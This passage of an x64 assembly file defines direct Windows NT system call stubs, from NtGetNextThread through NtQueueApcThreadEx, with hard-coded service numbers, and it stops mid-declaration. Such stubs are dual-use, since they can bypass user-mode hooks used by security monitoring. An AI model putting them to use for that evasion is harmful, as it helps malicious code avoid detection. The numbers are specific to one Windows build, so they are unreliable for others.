; ULONG64 __stdcall NtGetNextThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtGetNextThread PROC STDCALL mov r10 , rcx mov eax , 236 ;syscall db 0Fh , 05h ret NtGetNextThread ENDP ; ULONG64 __stdcall NtGetNlsSectionPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtGetNlsSectionPtr PROC STDCALL mov r10 , rcx mov eax , 237 ;syscall db 0Fh , 05h ret NtGetNlsSectionPtr ENDP ; ULONG64 __stdcall NtGetNotificationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtGetNotificationResourceManager PROC STDCALL mov r10 , rcx mov eax , 238 ;syscall db 0Fh , 05h ret NtGetNotificationResourceManager ENDP ; ULONG64 __stdcall NtGetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtGetWriteWatch PROC STDCALL mov r10 , rcx mov eax , 239 ;syscall db 0Fh , 05h ret NtGetWriteWatch ENDP ; ULONG64 __stdcall NtImpersonateAnonymousToken( ULONG64 arg_01 ); NtImpersonateAnonymousToken PROC STDCALL mov r10 , rcx mov eax , 240 ;syscall db 0Fh , 05h ret NtImpersonateAnonymousToken ENDP ; ULONG64 __stdcall NtImpersonateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtImpersonateThread PROC STDCALL mov r10 , rcx mov eax , 241 ;syscall db 0Fh , 05h ret NtImpersonateThread ENDP ; ULONG64 __stdcall NtInitializeEnclave( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtInitializeEnclave PROC STDCALL mov r10 , rcx mov eax , 242 ;syscall db 0Fh , 05h ret NtInitializeEnclave ENDP ; ULONG64 __stdcall NtInitializeNlsFiles( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtInitializeNlsFiles PROC STDCALL mov r10 , rcx mov eax , 243 ;syscall db 0Fh , 05h ret NtInitializeNlsFiles ENDP ; ULONG64 __stdcall NtInitializeRegistry( ULONG64 arg_01 ); NtInitializeRegistry PROC STDCALL mov r10 , rcx mov eax , 244 ;syscall db 0Fh , 05h ret NtInitializeRegistry ENDP ; ULONG64 __stdcall NtInitiatePowerAction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtInitiatePowerAction PROC STDCALL mov r10 , rcx mov eax , 245 ;syscall db 0Fh , 05h ret NtInitiatePowerAction ENDP ; ULONG64 __stdcall NtIsSystemResumeAutomatic( ); NtIsSystemResumeAutomatic PROC STDCALL mov r10 , rcx mov eax , 246 ;syscall db 0Fh , 05h ret NtIsSystemResumeAutomatic ENDP ; ULONG64 __stdcall NtIsUILanguageComitted( ); NtIsUILanguageComitted PROC STDCALL mov r10 , rcx mov eax , 247 ;syscall db 0Fh , 05h ret NtIsUILanguageComitted ENDP ; ULONG64 __stdcall NtListenPort( ULONG64 arg_01 , ULONG64 arg_02 ); NtListenPort PROC STDCALL mov r10 , rcx mov eax , 248 ;syscall db 0Fh , 05h ret NtListenPort ENDP ; ULONG64 __stdcall NtLoadDriver( ULONG64 arg_01 ); NtLoadDriver PROC STDCALL mov r10 , rcx mov eax , 249 ;syscall db 0Fh , 05h ret NtLoadDriver ENDP ; ULONG64 __stdcall NtLoadEnclaveData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtLoadEnclaveData PROC STDCALL mov r10 , rcx mov eax , 250 ;syscall db 0Fh , 05h ret NtLoadEnclaveData ENDP ; ULONG64 __stdcall NtLoadKey( ULONG64 arg_01 , ULONG64 arg_02 ); NtLoadKey PROC STDCALL mov r10 , rcx mov eax , 251 ;syscall db 0Fh , 05h ret NtLoadKey ENDP ; ULONG64 __stdcall NtLoadKey2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtLoadKey2 PROC STDCALL mov r10 , rcx mov eax , 252 ;syscall db 0Fh , 05h ret NtLoadKey2 ENDP ; ULONG64 __stdcall NtLoadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtLoadKeyEx PROC STDCALL mov r10 , rcx mov eax , 253 ;syscall db 0Fh , 05h ret NtLoadKeyEx ENDP ; ULONG64 __stdcall NtLockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtLockFile PROC STDCALL mov r10 , rcx mov eax , 254 ;syscall db 0Fh , 05h ret NtLockFile ENDP ; ULONG64 __stdcall NtLockProductActivationKeys( ULONG64 arg_01 , ULONG64 arg_02 ); NtLockProductActivationKeys PROC STDCALL mov r10 , rcx mov eax , 255 ;syscall db 0Fh , 05h ret NtLockProductActivationKeys ENDP ; ULONG64 __stdcall NtLockRegistryKey( ULONG64 arg_01 ); NtLockRegistryKey PROC STDCALL mov r10 , rcx mov eax , 256 ;syscall db 0Fh , 05h ret NtLockRegistryKey ENDP ; ULONG64 __stdcall NtLockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtLockVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 257 ;syscall db 0Fh , 05h ret NtLockVirtualMemory ENDP ; ULONG64 __stdcall NtMakePermanentObject( ULONG64 arg_01 ); NtMakePermanentObject PROC STDCALL mov r10 , rcx mov eax , 258 ;syscall db 0Fh , 05h ret NtMakePermanentObject ENDP ; ULONG64 __stdcall NtMakeTemporaryObject( ULONG64 arg_01 ); NtMakeTemporaryObject PROC STDCALL mov r10 , rcx mov eax , 259 ;syscall db 0Fh , 05h ret NtMakeTemporaryObject ENDP ; ULONG64 __stdcall NtManagePartition( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtManagePartition PROC STDCALL mov r10 , rcx mov eax , 260 ;syscall db 0Fh , 05h ret NtManagePartition ENDP ; ULONG64 __stdcall NtMapCMFModule( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtMapCMFModule PROC STDCALL mov r10 , rcx mov eax , 261 ;syscall db 0Fh , 05h ret NtMapCMFModule ENDP ; ULONG64 __stdcall NtMapUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtMapUserPhysicalPages PROC STDCALL mov r10 , rcx mov eax , 262 ;syscall db 0Fh , 05h ret NtMapUserPhysicalPages ENDP ; ULONG64 __stdcall NtModifyBootEntry( ULONG64 arg_01 ); NtModifyBootEntry PROC STDCALL mov r10 , rcx mov eax , 263 ;syscall db 0Fh , 05h ret NtModifyBootEntry ENDP ; ULONG64 __stdcall NtModifyDriverEntry( ULONG64 arg_01 ); NtModifyDriverEntry PROC STDCALL mov r10 , rcx mov eax , 264 ;syscall db 0Fh , 05h ret NtModifyDriverEntry ENDP ; ULONG64 __stdcall NtNotifyChangeDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtNotifyChangeDirectoryFile PROC STDCALL mov r10 , rcx mov eax , 265 ;syscall db 0Fh , 05h ret NtNotifyChangeDirectoryFile ENDP ; ULONG64 __stdcall NtNotifyChangeKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtNotifyChangeKey PROC STDCALL mov r10 , rcx mov eax , 266 ;syscall db 0Fh , 05h ret NtNotifyChangeKey ENDP ; ULONG64 __stdcall NtNotifyChangeMultipleKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 ); NtNotifyChangeMultipleKeys PROC STDCALL mov r10 , rcx mov eax , 267 ;syscall db 0Fh , 05h ret NtNotifyChangeMultipleKeys ENDP ; ULONG64 __stdcall NtNotifyChangeSession( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtNotifyChangeSession PROC STDCALL mov r10 , rcx mov eax , 268 ;syscall db 0Fh , 05h ret NtNotifyChangeSession ENDP ; ULONG64 __stdcall NtOpenEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtOpenEnlistment PROC STDCALL mov r10 , rcx mov eax , 269 ;syscall db 0Fh , 05h ret NtOpenEnlistment ENDP ; ULONG64 __stdcall NtOpenEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenEventPair PROC STDCALL mov r10 , rcx mov eax , 270 ;syscall db 0Fh , 05h ret NtOpenEventPair ENDP ; ULONG64 __stdcall NtOpenIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenIoCompletion PROC STDCALL mov r10 , rcx mov eax , 271 ;syscall db 0Fh , 05h ret NtOpenIoCompletion ENDP ; ULONG64 __stdcall NtOpenJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenJobObject PROC STDCALL mov r10 , rcx mov eax , 272 ;syscall db 0Fh , 05h ret NtOpenJobObject ENDP ; ULONG64 __stdcall NtOpenKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtOpenKeyEx PROC STDCALL mov r10 , rcx mov eax , 273 ;syscall db 0Fh , 05h ret NtOpenKeyEx ENDP ; ULONG64 __stdcall NtOpenKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtOpenKeyTransacted PROC STDCALL mov r10 , rcx mov eax , 274 ;syscall db 0Fh , 05h ret NtOpenKeyTransacted ENDP ; ULONG64 __stdcall NtOpenKeyTransactedEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtOpenKeyTransactedEx PROC STDCALL mov r10 , rcx mov eax , 275 ;syscall db 0Fh , 05h ret NtOpenKeyTransactedEx ENDP ; ULONG64 __stdcall NtOpenKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 276 ;syscall db 0Fh , 05h ret NtOpenKeyedEvent ENDP ; ULONG64 __stdcall NtOpenMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenMutant PROC STDCALL mov r10 , rcx mov eax , 277 ;syscall db 0Fh , 05h ret NtOpenMutant ENDP ; ULONG64 __stdcall NtOpenObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 ); NtOpenObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 278 ;syscall db 0Fh , 05h ret NtOpenObjectAuditAlarm ENDP ; ULONG64 __stdcall NtOpenPartition( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenPartition PROC STDCALL mov r10 , rcx mov eax , 279 ;syscall db 0Fh , 05h ret NtOpenPartition ENDP ; ULONG64 __stdcall NtOpenPrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtOpenPrivateNamespace PROC STDCALL mov r10 , rcx mov eax , 280 ;syscall db 0Fh , 05h ret NtOpenPrivateNamespace ENDP ; ULONG64 __stdcall NtOpenProcessToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenProcessToken PROC STDCALL mov r10 , rcx mov eax , 281 ;syscall db 0Fh , 05h ret NtOpenProcessToken ENDP ; ULONG64 __stdcall NtOpenRegistryTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenRegistryTransaction PROC STDCALL mov r10 , rcx mov eax , 282 ;syscall db 0Fh , 05h ret NtOpenRegistryTransaction ENDP ; ULONG64 __stdcall NtOpenResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtOpenResourceManager PROC STDCALL mov r10 , rcx mov eax , 283 ;syscall db 0Fh , 05h ret NtOpenResourceManager ENDP ; ULONG64 __stdcall NtOpenSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenSemaphore PROC STDCALL mov r10 , rcx mov eax , 284 ;syscall db 0Fh , 05h ret NtOpenSemaphore ENDP ; ULONG64 __stdcall NtOpenSession( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenSession PROC STDCALL mov r10 , rcx mov eax , 285 ;syscall db 0Fh , 05h ret NtOpenSession ENDP ; ULONG64 __stdcall NtOpenSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenSymbolicLinkObject PROC STDCALL mov r10 , rcx mov eax , 286 ;syscall db 0Fh , 05h ret NtOpenSymbolicLinkObject ENDP ; ULONG64 __stdcall NtOpenThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtOpenThread PROC STDCALL mov r10 , rcx mov eax , 287 ;syscall db 0Fh , 05h ret NtOpenThread ENDP ; ULONG64 __stdcall NtOpenTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenTimer PROC STDCALL mov r10 , rcx mov eax , 288 ;syscall db 0Fh , 05h ret NtOpenTimer ENDP ; ULONG64 __stdcall NtOpenTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtOpenTransaction PROC STDCALL mov r10 , rcx mov eax , 289 ;syscall db 0Fh , 05h ret NtOpenTransaction ENDP ; ULONG64 __stdcall NtOpenTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtOpenTransactionManager PROC STDCALL mov r10 , rcx mov eax , 290 ;syscall db 0Fh , 05h ret NtOpenTransactionManager ENDP ; ULONG64 __stdcall NtPlugPlayControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtPlugPlayControl PROC STDCALL mov r10 , rcx mov eax , 291 ;syscall db 0Fh , 05h ret NtPlugPlayControl ENDP ; ULONG64 __stdcall NtPrePrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 ); NtPrePrepareComplete PROC STDCALL mov r10 , rcx mov eax , 292 ;syscall db 0Fh , 05h ret NtPrePrepareComplete ENDP ; ULONG64 __stdcall NtPrePrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); NtPrePrepareEnlistment PROC STDCALL mov r10 , rcx mov eax , 293 ;syscall db 0Fh , 05h ret NtPrePrepareEnlistment ENDP ; ULONG64 __stdcall NtPrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 ); NtPrepareComplete PROC STDCALL mov r10 , rcx mov eax , 294 ;syscall db 0Fh , 05h ret NtPrepareComplete ENDP ; ULONG64 __stdcall NtPrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); NtPrepareEnlistment PROC STDCALL mov r10 , rcx mov eax , 295 ;syscall db 0Fh , 05h ret NtPrepareEnlistment ENDP ; ULONG64 __stdcall NtPrivilegeCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtPrivilegeCheck PROC STDCALL mov r10 , rcx mov eax , 296 ;syscall db 0Fh , 05h ret NtPrivilegeCheck ENDP ; ULONG64 __stdcall NtPrivilegeObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtPrivilegeObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 297 ;syscall db 0Fh , 05h ret NtPrivilegeObjectAuditAlarm ENDP ; ULONG64 __stdcall NtPrivilegedServiceAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtPrivilegedServiceAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 298 ;syscall db 0Fh , 05h ret NtPrivilegedServiceAuditAlarm ENDP ; ULONG64 __stdcall NtPropagationComplete( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtPropagationComplete PROC STDCALL mov r10 , rcx mov eax , 299 ;syscall db 0Fh , 05h ret NtPropagationComplete ENDP ; ULONG64 __stdcall NtPropagationFailed( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtPropagationFailed PROC STDCALL mov r10 , rcx mov eax , 300 ;syscall db 0Fh , 05h ret NtPropagationFailed ENDP ; ULONG64 __stdcall NtPulseEvent( ULONG64 arg_01 , ULONG64 arg_02 ); NtPulseEvent PROC STDCALL mov r10 , rcx mov eax , 301 ;syscall db 0Fh , 05h ret NtPulseEvent ENDP ; ULONG64 __stdcall NtQueryBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryBootEntryOrder PROC STDCALL mov r10 , rcx mov eax , 302 ;syscall db 0Fh , 05h ret NtQueryBootEntryOrder ENDP ; ULONG64 __stdcall NtQueryBootOptions( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryBootOptions PROC STDCALL mov r10 , rcx mov eax , 303 ;syscall db 0Fh , 05h ret NtQueryBootOptions ENDP ; ULONG64 __stdcall NtQueryDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryDebugFilterState PROC STDCALL mov r10 , rcx mov eax , 304 ;syscall db 0Fh , 05h ret NtQueryDebugFilterState ENDP ; ULONG64 __stdcall NtQueryDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtQueryDirectoryObject PROC STDCALL mov r10 , rcx mov eax , 305 ;syscall db 0Fh , 05h ret NtQueryDirectoryObject ENDP ; ULONG64 __stdcall NtQueryDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryDriverEntryOrder PROC STDCALL mov r10 , rcx mov eax , 306 ;syscall db 0Fh , 05h ret NtQueryDriverEntryOrder ENDP ; ULONG64 __stdcall NtQueryEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtQueryEaFile PROC STDCALL mov r10 , rcx mov eax , 307 ;syscall db 0Fh , 05h ret NtQueryEaFile ENDP ; ULONG64 __stdcall NtQueryFullAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryFullAttributesFile PROC STDCALL mov r10 , rcx mov eax , 308 ;syscall db 0Fh , 05h ret NtQueryFullAttributesFile ENDP ; ULONG64 __stdcall NtQueryInformationAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationAtom PROC STDCALL mov r10 , rcx mov eax , 309 ;syscall db 0Fh , 05h ret NtQueryInformationAtom ENDP ; ULONG64 __stdcall NtQueryInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationEnlistment PROC STDCALL mov r10 , rcx mov eax , 310 ;syscall db 0Fh , 05h ret NtQueryInformationEnlistment ENDP ; ULONG64 __stdcall NtQueryInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationJobObject PROC STDCALL mov r10 , rcx mov eax , 311 ;syscall db 0Fh , 05h ret NtQueryInformationJobObject ENDP ; ULONG64 __stdcall NtQueryInformationPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationPort PROC STDCALL mov r10 , rcx mov eax , 312 ;syscall db 0Fh , 05h ret NtQueryInformationPort ENDP ; ULONG64 __stdcall NtQueryInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationResourceManager PROC STDCALL mov r10 , rcx mov eax , 313 ;syscall db 0Fh , 05h ret NtQueryInformationResourceManager ENDP ; ULONG64 __stdcall NtQueryInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationTransaction PROC STDCALL mov r10 , rcx mov eax , 314 ;syscall db 0Fh , 05h ret NtQueryInformationTransaction ENDP ; ULONG64 __stdcall NtQueryInformationTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationTransactionManager PROC STDCALL mov r10 , rcx mov eax , 315 ;syscall db 0Fh , 05h ret NtQueryInformationTransactionManager ENDP ; ULONG64 __stdcall NtQueryInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 316 ;syscall db 0Fh , 05h ret NtQueryInformationWorkerFactory ENDP ; ULONG64 __stdcall NtQueryInstallUILanguage( ULONG64 arg_01 ); NtQueryInstallUILanguage PROC STDCALL mov r10 , rcx mov eax , 317 ;syscall db 0Fh , 05h ret NtQueryInstallUILanguage ENDP ; ULONG64 __stdcall NtQueryIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryIntervalProfile PROC STDCALL mov r10 , rcx mov eax , 318 ;syscall db 0Fh , 05h ret NtQueryIntervalProfile ENDP ; ULONG64 __stdcall NtQueryIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryIoCompletion PROC STDCALL mov r10 , rcx mov eax , 319 ;syscall db 0Fh , 05h ret NtQueryIoCompletion ENDP ; ULONG64 __stdcall NtQueryLicenseValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryLicenseValue PROC STDCALL mov r10 , rcx mov eax , 320 ;syscall db 0Fh , 05h ret NtQueryLicenseValue ENDP ; ULONG64 __stdcall NtQueryMultipleValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQueryMultipleValueKey PROC STDCALL mov r10 , rcx mov eax , 321 ;syscall db 0Fh , 05h ret NtQueryMultipleValueKey ENDP ; ULONG64 __stdcall NtQueryMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryMutant PROC STDCALL mov r10 , rcx mov eax , 322 ;syscall db 0Fh , 05h ret NtQueryMutant ENDP ; ULONG64 __stdcall NtQueryOpenSubKeys( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryOpenSubKeys PROC STDCALL mov r10 , rcx mov eax , 323 ;syscall db 0Fh , 05h ret NtQueryOpenSubKeys ENDP ; ULONG64 __stdcall NtQueryOpenSubKeysEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtQueryOpenSubKeysEx PROC STDCALL mov r10 , rcx mov eax , 324 ;syscall db 0Fh , 05h ret NtQueryOpenSubKeysEx ENDP ; ULONG64 __stdcall NtQueryPortInformationProcess( ); NtQueryPortInformationProcess PROC STDCALL mov r10 , rcx mov eax , 325 ;syscall db 0Fh , 05h ret NtQueryPortInformationProcess ENDP ; ULONG64 __stdcall NtQueryQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtQueryQuotaInformationFile PROC STDCALL mov r10 , rcx mov eax , 326 ;syscall db 0Fh , 05h ret NtQueryQuotaInformationFile ENDP ; ULONG64 __stdcall NtQuerySecurityAttributesToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQuerySecurityAttributesToken PROC STDCALL mov r10 , rcx mov eax , 327 ;syscall db 0Fh , 05h ret NtQuerySecurityAttributesToken ENDP ; ULONG64 __stdcall NtQuerySecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQuerySecurityObject PROC STDCALL mov r10 , rcx mov eax , 328 ;syscall db 0Fh , 05h ret NtQuerySecurityObject ENDP ; ULONG64 __stdcall NtQuerySecurityPolicy( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQuerySecurityPolicy PROC STDCALL mov r10 , rcx mov eax , 329 ;syscall db 0Fh , 05h ret NtQuerySecurityPolicy ENDP ; ULONG64 __stdcall NtQuerySemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQuerySemaphore PROC STDCALL mov r10 , rcx mov eax , 330 ;syscall db 0Fh , 05h ret NtQuerySemaphore ENDP ; ULONG64 __stdcall NtQuerySymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtQuerySymbolicLinkObject PROC STDCALL mov r10 , rcx mov eax , 331 ;syscall db 0Fh , 05h ret NtQuerySymbolicLinkObject ENDP ; ULONG64 __stdcall NtQuerySystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtQuerySystemEnvironmentValue PROC STDCALL mov r10 , rcx mov eax , 332 ;syscall db 0Fh , 05h ret NtQuerySystemEnvironmentValue ENDP ; ULONG64 __stdcall NtQuerySystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQuerySystemEnvironmentValueEx PROC STDCALL mov r10 , rcx mov eax , 333 ;syscall db 0Fh , 05h ret NtQuerySystemEnvironmentValueEx ENDP ; ULONG64 __stdcall NtQuerySystemInformationEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQuerySystemInformationEx PROC STDCALL mov r10 , rcx mov eax , 334 ;syscall db 0Fh , 05h ret NtQuerySystemInformationEx ENDP ; ULONG64 __stdcall NtQueryTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtQueryTimerResolution PROC STDCALL mov r10 , rcx mov eax , 335 ;syscall db 0Fh , 05h ret NtQueryTimerResolution ENDP ; ULONG64 __stdcall NtQueryWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQueryWnfStateData PROC STDCALL mov r10 , rcx mov eax , 336 ;syscall db 0Fh , 05h ret NtQueryWnfStateData ENDP ; ULONG64 __stdcall NtQueryWnfStateNameInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryWnfStateNameInformation PROC STDCALL mov r10 , rcx mov eax , 337 ;syscall db 0Fh , 05h ret NtQueryWnfStateNameInformation ENDP ; ULONG64 __stdcall NtQueueApcThreadEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQueueApcThreadEx PROC STDCALL mov r10 , rcx mov eax , 338 ;syscall db 0Fh , 05h ret NtQueueApcThreadEx ENDP ; ULONG64 __stdcall NtRaiseException( 